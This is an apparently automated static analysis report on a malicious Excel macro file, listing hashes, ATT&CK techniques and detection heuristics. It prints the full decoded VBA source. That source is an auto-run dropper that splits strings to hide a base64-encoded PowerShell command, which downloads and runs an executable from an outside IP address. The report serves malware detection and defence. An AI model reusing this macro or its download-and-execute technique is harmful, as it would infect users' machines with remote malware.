Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf8d16a88e6a0bf6…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2021-11-02
MD5: 20aa89a1c69e08c76a36723d10ded789 SHA-1: 8119fcb79b703020de16f432de540b4696728b2b SHA-256: cf8d16a88e6a0bf6f5bdc2bdafec9199a28511a727e04e76c16f4189d69d4b1e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The VBA macro contains obfuscated strings that reassemble to a PowerShell command. This command is designed to download and execute a second-stage payload from the URL 'http://3.164.251.139/yww/2/34522010136.exe'. The use of Shell() and the reassembled 'powershell' token indicate a clear intent to execute external code.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2540 bytes
SHA-256: 3ce37ef85bc679c0bb9e105396651039eb2254d55716b93665995b6b63b257d4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbwB"
s = s + "jAE4AYQBtAG"
s = s + "UAIAA9ACAAI"
s = s + "gBYAG4AaQBv"
s = s + "AG8AagBqAHg"
s = s + "AaABtAHQAbw"
s = s + "BqAGsAbwBwA"
s = s + "HgAawBqAGUA"
s = s + "YwByAG0ALgB"
s = s + "lAHgAZQAiAD"
s = s + "sAKABOAGUAd"
s = s + "wAtAE8AYgBq"
s = s + "AGUAYwB0ACA"
s = s + "AUwB5AHMAdA"
s = s + "BlAG0ALgBOA"
s = s + "GUAdAAuAFcA"
s = s + "ZQBiAEMAbAB"
s = s + "pAGUAbgB0AC"
s = s + "kALgBEAG8Ad"
s = s + "wBuAGwAbwBh"
s = s + "AGQARgBpAGw"
s = s + "AZQAoACIAaA"
s = s + "B0AHQAcAA6A"
s = s + "C8ALwAzAC4A"
s = s + "NgA0AC4AMgA"
s = s + "1ADEALgAxAD"
s = s + "MAOQAvAHYAM"
s = s + "wAvADIALwAz"
s = s + "ADQANQAyADI"
s = s + "AMgAwADEAMA"
s = s + "AzADYALgBlA"
s = s + "HgAZQAiACwA"
s = s + "IgAkAGUAbgB"
s = s + "2ADoAQQBQAF"
s = s + "AARABBAFQAQ"
s = s + "QBcACQAUABy"
s = s + "AG8AYwBOAGE"
s = s + "AbQBlACIAKQ"
s = s + "A7AFMAdABhA"
s = s + "HIAdAAtAFAA"
s = s + "cgBvAGMAZQB"
s = s + "zAHMAIAAoAC"
s = s + "IAJABlAG4Ad"
s = s + "gA6AEEAUABQ"
s = s + "AEQAQQBUAEE"
s = s + "AXAAkAFAAcg"
s = s + "BvAGMATgBhA"
s = s + "G0AZQAiACkA"


Dim x As Double

ActiveWorkbook.Save

bat = "Irxmyxczx.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True